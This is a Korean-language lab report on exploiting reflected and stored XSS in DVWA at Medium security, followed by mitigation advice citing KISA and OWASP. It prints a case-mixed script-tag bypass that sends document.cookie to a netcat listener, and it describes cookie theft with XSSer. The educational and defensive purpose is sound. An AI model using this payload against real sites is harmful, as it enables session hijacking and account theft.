
본 실습은 DVWA(Damn Vulnerable Web Application)을 활용하여 웹 애플리케이션 취약점 중 XSS(Reflected, Stored) 취약점 공격을 실습하여, 웹 취약점 이해 및 그에 따른 공격 기법과 대응 방법 학습을 목적으로 진행되었습니다.
실습 환경에 사용한 운영체제(OS)및 프로그램 환경, 도구는 다음과 같습니다.
표 1. 실습 환경 구성
| 구분 | 사용 운영체제 / 도구 |
|---|---|
| 로컬 운영 체제 | Window 11 Home |
| 가상 머신 | VMware Workstation 19 |
| 가상 환경 운영 체제 | Kali Linux 2025.3 64-bit |
| 브라우저 | Firefox |
| DVWA 보안 수준 | Medium Level |
| 프록시 도구 | Burp Suite |
| 저장형 XSS 실습 도구 | XSSer |
크로스사이트 스크립트 는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 방문자(사용자)의 브라우저에서 실행되게 만드는 공격입니다. 크게 저장형(Stored) 과 반사형(Reflected), DOM 기반 공격 방식으로 나눌 수 있습니다.
크로스사이트 스크립트의 주요 발생 원인은 사용자 입력값에 대한 검증이 미흡한 경우 발생합니다.
<script>)나 특수문자 (<, >, ", ')가 포함되어 있는지 확인하지 않고 서버가 이를 받아들일 때 발생< → <)하지 않고 원본 그대로 렌더링할 때 발생크로스사이트 스크립트는 크게 저장형(Stored)과 반사형(Reflected), DOM 기반 공격 방식으로 나눌 수 있습니다
1) DOM 기반 XSS (DOM-based XSS)
서버와의 상호작용 없이, 브라우저 내(Client-side)에서 자바스크립트가 DOM(Document Object Model) 객체를 동적으로 조작하는 경우 발생
2) 저장형 XSS (Stored XSS)

공격자가 악성 스크립트(게시글, 댓글 등)를 데이터베이스에 저장하여, 이후 일반 사용자가 해당 게시글을 열람할 때마다 스크립트가 실행되는 공격 유형입니다.
3) 반사형 XSS (Reflected XSS)

사용자가 악성 스크립트가 포함된 URL 접근 시, 서버는 이 입력값을 DB에 저장하지 않고 입력값이 HTML 상에 렌더링 되어, 에러 메시지나 검색 결과 형태로 브라우저에 즉시 반환하는 유형입니다.
크로스사이트 스크립트는 위험도가 높은 취약점으로 분류됩니다.
공격자는 사용자 입력값 내 악의적인 스크립트(JavaScript, VBScript, ActiveX, Flash 등)를 삽입하여 사용자의 쿠키(세션)를 탈취하거나 피싱 사이트로 유도하는 등의 악의적인 공격을 수행할 수 있습니다.
크로스사이트 스크립트는 게시판, 댓글 등 사용자가 입력한 값이 필터링 없이 다른 사용자에게 보여지는 곳에서 주로 발생하여 대규모 피해가 발생할 수 있습니다.
DVWA Medium Level을 기준으로 분석하였습니다.

DVWA의 반사형 크로스사이트 스크립트 Medium 레벨의 소스코드 분석 결과, 다음과 같은 취약점들을 확인했습니다.
name = str_replace( ‘<script>’, ‘’, $_GET[‘name’] );
str_replace() 함수는 대소문자를 구분하므로, 조건인 <script>는 차단하지만, 대문자가 섞여 있는 <sCripT>는 차단하지 못합니다.<script> 태그만 필터링하기에 공격자는 <img>, <body>, <iframe>, <svg> 등 다양한 태그를 사용하여 우회할 수 있습니다.<script>만을 삭제하고 있습니다. 공격자는<scri<script>pt> 처럼 태그 안에 태그를 숨겨서 이를 우회할 수 있습니다.echo “<pre>Hello {name}</pre>”;
<pre> 태그는 소스 코드의 공백, 줄바꿈 등을 화면에 보이는 그대로 유지해주는 역할만하고 보안 기능은 없습니다. 즉, $name 변수에 들어있는 값에 검증 로직이 없어, 악성 스크립트가 차단되지 못해 HTML 명령어로 실행될 수 있습니다.
<script>의 경우 차단되어서 스트립트가 실행되지 않고 있습니다.

그러나 대문자를 혼합하여 <sCripT>로 태그를 입력했을 때, 검증 로직이 이를 차단하지 못하여 스크립트가 실행되는 것을 확인하였습니다.

메시지 박스 부분의 소스코드는 사용자 입력값 검증이 적절하게 구현되어 있으나, 출력 부분 검증 로직이 없습니다.
$message = strip_tags( addslashes( $message ) );strip_tags() 함수로 HTML 태그, PHP 태그를 모두 제거합니다.addslashes()로 따옴표 앞에 역슬래시를 붙여 SQL 문법 오류를 방지합니다.mysqli_real_escape_string($GLOBALS["___mysqli_ston"]mysqli_real_escape_string()으로 특수문자를 이스케이프 처리합니다. (SQL 인젝션 차단) $message = htmlspecialchars( $message );htmlspecialchars()로 특수문자를 HTML 엔티티로 바꿉니다.
Reflected XSS 때와 똑같이 str_replace() 함수를 사용하여 '할 수 있습니다.
단순 <script> 문자열만 검증하고 있어, <scr<script>ipt> 같은 중첩문으로 통과할 가능성이 있습니다.
블랙리스트 방식으로 입력값을 검증하고 있어, 여러 태그를 다양하게 사용하여 공격자는 악성 스크립트를 실행할 수 있습니다.
또한 브라우저로 출력할 때 적절한 검증이 이루어지지 않아, DB에 저장된 악성 스크립트가 실행될 수 있습니다.

Name 입력값에 스크립트 구문을 입력하려고 했으나 글자 수 제한이 있어 작성하지 못했습니다.

개발자 도구를 이용하여 Name 관련 클라이언트 사이드 코드의 글자 수 제한 파라미터 값 부분을 수정하여 길이 제한 우회를 시도하였습니다.

수정한 뒤 긴 스크립트가 글자 수 제한 없이 작성되었고, 쿠키 값을 노출하는 악성 스크립트가 실행되는 것을 확인하였습니다.
입력값이 str_replace 함수만을 이용하여 검증되어, 대소문자를 혼합해서 사용할 시 우회할 여지가 있고, 단순 문자열만 삭제하여 중첩으로 작성한 스크립트 문을 작성할 경우 공격자를 검증을 통과할 수 있습니다.
또한 블랙리스트 방식으로 <script> 태그만을 차단하고 있어서 공격자는 악용될 수 있는 다른 태그를 활용하여 우회할 수 있습니다.
서버에서 브라우저로 출력되는 값에 적절한 검증이 없어, 악성 스크립트가 그대로 HTML 명령어로 실행될 가능성이 있습니다.
검증 로직이 클라이언트 사이드에만 있어서 개발자 도구나, Burp Suite와 같은 프록시 도구를 이용하여 클라이언트 사이드 파라미터 값을 변조하여 검증 로직을 우회할 수 있습니다.
Message 입력값 검증은 적절하게 이루어졌으나, Name 입력값에 대한 검증이 미흡합니다.
앞서 반사형 XSS와 마찬가지로 입력값이 str_replace 함수만을 이용하여 검증되어, 악성 스크립트 작성 시 공격자가 대소문자를 혼합해서 작성할 경우 우회할 여지가 있고, 단순 문자열만 삭제하여 중첩으로 작성한 스크립트 문을 작성하면 공격자는 검증을 통과할 수 있습니다.
또한 블랙리스트 방식으로 <script> 태그만을 차단하고 있어서 악용될 수 있는 다른 태그를 활용하여 우회할 수 있습니다. Name 입력값에는 긴 스크립트를 작성하지 못하도록 글자 수 제한이 있으나, 이는 클라이언트 사이드에서 작성되어, 개발자 도구로 해당 파라미터 값을 수정하여 우회할 수 있었습니다.
저장형 XSS도 서버에서 브라우저로 출력되는 값에 적절한 검증이 없어, 악성 스크립트가 그대로 HTML 명령어로 실행될 가능성이 있습니다.
검증 로직이 서버 사이드에는 없고, 클라이언트 사이드에만 있어서 개발자 도구나, Burp Suite와 같은 프록시 도구를 이용하여 클라이언트 사이드 파라미터 값을 변조하여 검증 로직을 우회할 수 있습니다.
반사형 XSS의 주요 공격 유형인 악성 스크립트가 삽입된 URL을 이용하여, 사용자의 쿠키 값 정보를 탈취하는 시나리오를 아래와 같이 단계별로 진행하였습니다.
실습에는 Burp Suite를 활용하였습니다.

먼저 쿠키 값을 받을 서버를 열기 위해 칼리 리눅스 터미널에 nc -lvp 9999 명령어를 사용하여 서버를 생성하였습니다.

<sCripT>location.href='http://127.0.0.1:9999/?cookie='+document.cookie</sCripT>
위와 같이 스크립트를 작성하고, Burp Suite의 Decoder 기능을 이용하여 이미지의 아래 칸과 같이 해당 스크립트를 URL로 인코딩 해주었습니다.

(타겟이 피싱 메일을 클릭했을 때 가정) 주소 뒤에 URL로 인코딩한 스크립트를 붙여 넣은 뒤 결과를 확인하였습니다.

쿠키 값을 받기위해 생성한 서버를 확인한 결과, 쿠키 값과 로그인에 필요한 세션 값을 탈취한 것을 확인할 수 있었습니다.
저장형 XSS의 주요 공격 유형인 악성 스크립트가 삽입된 게시물을 이용하여, 다수의 사용자의 쿠키 값을 탈취하는 시나리오를 아래와 같이 단계별로 진행하였습니다.
실습에는 Burp Suite, XSSer를 활용하였습니다.

먼저 쿠키 값을 받을 서버를 열기 위해 칼리 리눅스 터미널에 nc -lvp 9999 명령어를 사용하여 서버를 생성하였습니다.

XSSer 도구를 사용하기 위해 쿠키 값이 필요하므로, 요청 패킷을 가로채기 위해 Burp Suite의 프록시 기능을 활용하였습니다.

쿠키 값을 복사한 뒤 XSSer 명령어를 위와 같이 작성해주고, 실행하였습니다.

XSSer 작동화면이 빠르게 올라가며, 여러 XSS 공격 유형 패턴들을 시도하는 것을 확인하였습니다.

XSSer를 이용한 크로스사이트 스크립팅 공격이 성공하여, 해당 게시물 페이지 접근 사용자의 쿠키 정보를 확인할 수 있었습니다.
입력값 검증이 <script> 태그만을 차단하는 블랙리스트 방식으로 구현되어 있고, str_replace 함수가 대소문자를 구분하지 못하는 점을 악용하여 <sCripT>와 같이 대소문자를 혼합한 구문으로 우회가 가능했습니다. 또한, 단순 문자열 치환 방식은 다양한 난독화 패턴을 사용하는 XSS 도구의 공격을 효과적으로 차단하지 못했습니다.
입력값 검증 로직이 클라이언트 사이드에만 국한되어 있었습니다. 이에 따라 Burp Suite와 같은 프록시 도구를 이용해 요청 패킷을 가로채거나 브라우저 개발자 도구로 파라미터 값을 직접 변조함으로써, 클라이언트 측의 제약 사항(길이 제한 등)을 무력화할 수 있었습니다.
서버 측에서 브라우저로 응답을 보낼 때 적절한 출력 값 검증 과정이 부재하여, 삽입된 악성 스크립트가 사용자 브라우저에서 그대로 실행되는 것을 확인하였습니다.
2.4 XSS(Reflected, Stored) 대응 방안
[개인정보 보호법], [정보통신망 이용촉진 및 정보보호 등에 관한 법률(이하 정보통신망법)], [개인정보의 안전성 확보조치 기준 행정규칙]에서 제시한 규정을 바탕으로 시스템 환경 여건에 맞는 안정성 확보에 필요한 조치를 적용하는 것을 권고 드립니다.
대응 방안의 내용은 한국인터넷진흥원의 “소프트웨어 보안약점 진단가이드 (2021)”, “주요정보통신기반 시설 기술적 취약점 분석•평가 방법 상세가이드(2026)” 그리고 OWASP(Open Web Application Security Project)의 XSS 문서를 참고했습니다.
XSS(Reflected, Stored)의 주요 대응 방안으로 작성된 사용자 입력값과 서버에서 브라우저로 넘어가는 출력값 검증을 통해 악성 스크립트가 실행되지 않도록 할 것을 명시하고 있습니다.

사용자 입력값을 동적으로 생성되는 응답페이지에 사용하는 경우 XSS 필터 또는 HTML 인코딩을 적용하여 코드를 작성하도록 시큐어코딩 규칙을 정의하여야 합니다.
DB 조회 결과값으로 응답페이지를 생성하는 경우 XSS 필터를 적용하여 사용해야 합니다. DB에서 읽어오는 데이터도 외부 입력값의 범위에 포함시켜, 응답 페이지에 출력하기 전에 반드시 검증 작업을 수행해야 합니다.
1) 크로스사이트 스크립팅 공격에 사용되는 특수문자에 대하여 입력값 검증 및 필터링(HTML 엔티티,이스케이프 등)처리 로직을 서버 사이드에서 구현할 것을 권장하고 있습니다.


부득이하게 HTML 코드를 사용해야 하는 경우 화이트리스트 방식을 적용하여 허용된 HTML 코드만 처리해야 합니다.
2) 웹 방화벽에서 웹 태그 및 스크립트 관련 특수문자 필터링 규칙을 적용하여 추가적인 방어 수단을 확보하여야 합니다.
3) XSS 방어를 위한 프레임워크나 라이브러리 활용을 권장하고 있습니다.

4) 세션 탈취 방지를 위해 쿠키에 HttpOnly, Secure, SameSite 옵션을 설정하여 노출되지 않도록 보호해야 합니다.

출처